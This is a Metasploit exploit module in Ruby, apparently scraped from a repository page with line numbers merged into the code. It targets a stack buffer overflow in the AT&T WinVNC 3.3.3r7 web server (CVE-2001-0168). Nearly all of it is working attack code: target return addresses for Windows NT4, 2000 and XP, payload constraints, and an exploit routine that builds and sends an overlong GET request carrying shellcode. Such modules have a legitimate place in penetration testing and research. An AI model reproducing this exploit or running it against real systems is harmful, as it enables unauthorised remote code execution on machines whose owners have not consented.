Path: blob/master/modules/exploits/windows/vnc/winvnc_http_get.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'WinVNC Web Server GET Overflow',15'Description' => %q{16This module exploits a buffer overflow in the AT&T WinVNC version17<= v3.3.3r7 web server. When debugging mode with logging is18enabled (non-default), an overly long GET request can overwrite19the stack. This exploit does not work well with VNC payloads!20},21'Author' => 'aushack',22'License' => MSF_LICENSE,23'References' => [24[ 'BID', '2306' ],25[ 'OSVDB', '6280' ],26[ 'CVE', '2001-0168' ],27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'thread',31},32'Payload' => {33'Space' => 979,34'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x0b",35'StackAdjustment' => -3500,36},37'Platform' => ['win'],38'Targets' => [39[ 'Windows NT4 SP3-6', { 'Ret' => 0x779f4e39 } ], # push esp, ret msvcrt.dll40[ 'Windows 2000 SP1-4', { 'Ret' => 0x77bba3af } ], # jmp esp comctl32.dll41[ 'Windows XP SP0-1', { 'Ret' => 0x71ab7bfb } ], # jmp esp ws2_32.dll42],43'DisclosureDate' => '2001-01-29',44'DefaultTarget' => 1,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options(54[55Opt::RPORT(5800),56]57)58end5960def exploit61sploit = '/' + payload.encoded + [target['Ret']].pack('V')62sploit << make_nops(8) + Rex::Arch::X86.jmp(0xfffffc1c)6364res = send_request_raw({65'uri' => sploit,66'method' => 'GET',67}, 5)6869handler70end71end727374